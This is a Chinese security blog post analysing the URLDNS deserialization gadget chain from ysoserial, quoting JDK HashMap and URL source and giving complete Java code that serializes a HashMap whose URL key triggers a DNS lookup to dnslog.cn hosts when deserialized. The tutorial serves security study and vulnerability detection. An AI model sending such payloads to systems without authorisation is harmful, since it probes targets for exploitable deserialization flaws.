s1eep123's blog.

URLDNS链

Word count: 1.1kReading time: 5 min
2022/08/11

URLDNS链

  1. 概述

    URLDNS 就是ysoserial中一个利用链的名字,但准确来说,这个其实不能称作“利用链”。因为其参数不不是一个可以“利用”的命令,而仅为一个URL,其能触发的结果也不是命令执行,而是一次DNS请求。

    虽然这个“利用链”实际上是不能“利用”的,但因为其如下的优点,非常适合我们在检测反序列化漏洞时使用:

    • 使用Java内置的类构造,对第三方库没有依赖
    • 在目标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞
  2. 利用链

    1
    2
    3
    4
    5
    *   Gadget Chain:
    * HashMap.readObject()
    * HashMap.putVal()
    * HashMap.hash()
    * URL.hashCode()
  3. HashMap底层原理

    • HashMap是Map的一个实现类,以数组+(链表或红黑树)实现。它是以键值对存储数据的,Key-Value都是Map.Entry中的属性

      image-20220828132806229

    • 在实例化以后,底层创建了长度是16的一维数组Entry[] table,其中每个节点用Node表示

      1
      2
      3
      4
      5
      6
      Node(int hash, K key, V value, Node<K,V> next) {
      this.hash = hash;
      this.key = key;
      this.value = value;
      this.next = next;
      }
    • 当put一个键值对时,首先对key进行hash,其中hash中又调用hashcode方法,之后添加tab数组中添加node,源码如下

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      public V put(K key, V value) {
      return putVal(hash(key), key, value, false, true);
      }

      static final int hash(Object key) {
      int h;
      return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
      }

      final V putVal(int hash, K key, V value, boolean onlyIfAbsent,
      boolean evict) {
      Node<K,V>[] tab; Node<K,V> p; int n, i;
      if ((tab = table) == null || (n = tab.length) == 0)
      n = (tab = resize()).length;
      if ((p = tab[i = (n - 1) & hash]) == null)
      tab[i] = newNode(hash, key, value, null);
      else {
      Node<K,V> e; K k;
      if (p.hash == hash &&
      ((k = p.key) == key || (key != null && key.equals(k))))
      e = p;
      else if (p instanceof TreeNode)
      e = ((TreeNode<K,V>)p).putTreeVal(this, tab, hash, key, value);
      else {
      for (int binCount = 0; ; ++binCount) {
      if ((e = p.next) == null) {
      p.next = newNode(hash, key, value, null);
      if (binCount >= TREEIFY_THRESHOLD - 1) // -1 for 1st
      treeifyBin(tab, hash);
      break;
      }
      if (e.hash == hash &&
      ((k = e.key) == key || (key != null && key.equals(k))))
      break;
      p = e;
      }
      }
      if (e != null) { // existing mapping for key
      V oldValue = e.value;
      if (!onlyIfAbsent || oldValue == null)
      e.value = value;
      afterNodeAccess(e);
      return oldValue;
      }
      }
      ++modCount;
      if (++size > threshold)
      resize();
      afterNodeInsertion(evict);
      return null;
      }
  4. 原理利用

    • java.util.HashMap 重写了 readObject, 在反序列化时会调用 hash 函数计算 key 的 hashCode.而 java.net.URL 的 hashCode 在计算时会调用 getHostAddress 来解析域名, 从而发出 DNS 请求,关键代码如下

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      private void readObject(java.io.ObjectInputStream s)
      throws IOException, ClassNotFoundException {
      table = tab;
      // Read the keys and values, and put the mappings in the HashMap
      for (int i = 0; i < mappings; i++) {
      @SuppressWarnings("unchecked")
      K key = (K) s.readObject();
      @SuppressWarnings("unchecked")
      V value = (V) s.readObject();
      putVal(hash(key), key, value, false, false);
      }
      }
      }

      static final int hash(Object key) {
      int h;
      return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
      }

      public synchronized int hashCode() {
      if (hashCode != -1)
      return hashCode;

      hashCode = handler.hashCode(this);
      return hashCode;
      }

      protected int hashCode(URL u) {
      int h = 0;

      // Generate the protocol part.
      String protocol = u.getProtocol();
      if (protocol != null)
      h += protocol.hashCode();

      // Generate the host part.
      InetAddress addr = getHostAddress(u); //解析域名,发出DNS请求

      return h;
    • 因此利用链就很显而易见了

  5. 代码

    1
    2
    3
    HashMap<URL,Object> hashMap = new HashMap<>();
    URL url = new URL("https://pxqb7n.dnslog.cn");
    hashMap.put(url,123);

    image-20220828134354439

    可以看到收到DNS请求,下面将hashMap序列化。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    //由于new URL()中的hashCode=-1,因此反序列化时,不能进入DNS解析,因此需反射设置hashCode!=-1
    HashMap<URL,Object> hashMap = new HashMap<>();
    URL url = new URL("https://6g01re.dnslog.cn");

    Class urlClass = URL.class;
    Field fieldHashCode = urlClass.getDeclaredField("hashCode");
    fieldHashCode.setAccessible(true);
    fieldHashCode.set(url,123456);

    hashMap.put(url,123);

    fieldHashCode.set(url,-1);
    serialize(hashMap);
    //unSerialize("ser.bin");

    image-20220828135355921

    可以看到put时为收到DNS请求

    • 反序列化时收到请求

      image-20220828135451319

  6. 总代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package urldns;

import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class urldns {
public static void main(String[] args) throws IOException, NoSuchMethodException, InstantiationException, IllegalAccessException, NoSuchFieldException, ClassNotFoundException {
HashMap<URL,Integer> hashMap = new HashMap<>();
URL url = new URL("https://dr8bqb.dnslog.cn");

Class urlClass = URL.class;
Field hashCode = urlClass.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url,123);

hashMap.put(url,112233);

hashCode.set(url,-1);

serialize(hashMap);
unSerialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream ooStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
ooStream.writeObject(obj);
}

public static Object unSerialize(String fileName) throws IOException, ClassNotFoundException {
ObjectInputStream oiStrean = new ObjectInputStream(new FileInputStream(fileName));
Object obj = oiStrean.readObject();
return obj;
}
}
CATALOG
  1. 1. URLDNS链